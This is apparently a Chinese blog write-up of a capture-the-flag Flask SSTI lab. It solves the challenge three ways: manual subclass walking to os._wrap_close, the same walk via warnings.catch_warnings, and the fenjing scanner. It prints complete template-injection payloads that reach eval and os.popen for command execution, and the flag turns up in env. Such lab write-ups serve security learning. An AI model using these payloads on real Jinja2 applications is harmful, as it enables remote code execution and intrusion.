Flask SSTI
本文最后更新于54 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

解法一

1.访问网站,没有发现什么提示
Pasted image 20260107144557.png

2.尝试传入name参数,发现页面出现变化
Pasted image 20260107144633.png

3.尝试传入{{7*7}},成功解析为49,存在SSTI注入
Pasted image 20260107145106.png

4.传入{{''.__class__}}查看当前对象所属的类,页面没有显示

Pasted image 20260107150848.png

右键查看源代码,发现是执行了的只是没有显示在前端
Pasted image 20260107150940.png

5.输入{{''.__class__.__base__}}查看当前类对应的父类是object
Pasted image 20260107155626.png

6.输入{{''.__class__.__base__.__subclasses__()}}查看object类的所有子类
Pasted image 20260107155613.png

7.爆破os._wrap_close模块对应的下标为117
Pasted image 20260107160055.png

8.调用__init__函数,判断模块是否重载
Pasted image 20260107160142.png

9.使用__globals__函数查看全局变量,判断有哪些模块可以调用
Pasted image 20260107160241.png

10.构造payload获取flag

?name={{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

当前目录下没有

Pasted image 20260107160334.png

查看环境变量env,成功找到flag
Pasted image 20260107160431.png

解法二

寻找可以使用的模块
warnings.catch_warnings(需自己导入os模块)、socket._socketobject(需自己导入os模块)、site._Printersite.Quitter等模块的内置os,通过os模块我们可以做到system执行命令(system执行成功返回0,不会在页面显示。)、popen管道读取文件、listdir列目录等操作

爆破warnings.catch_warnings模块对应的下标为166
Pasted image 20260107160555.png

使用__globals__函数查看全局变量,判断有哪些模块可以调用
Pasted image 20260107160904.png

构造payload

?name={{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}

__bases__ 这个属性的返回值类型是元组
Pasted image 20260107161343.png

解法三

python -m fenjing scan -u http://node5.buuoj.cn:29239/

Pasted image 20260107144147.png

成功RCE
Pasted image 20260107143957.png

查看当前目录,没有发现flag
Pasted image 20260107144010.png

查看app.py,没有发现flag
Pasted image 20260107144047.png

查看环境变量env,成功找到flag
Pasted image 20260107144516.png

总结

  • SSTI
  • warnings.catch_warnings以及os._wrap_close的使用
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇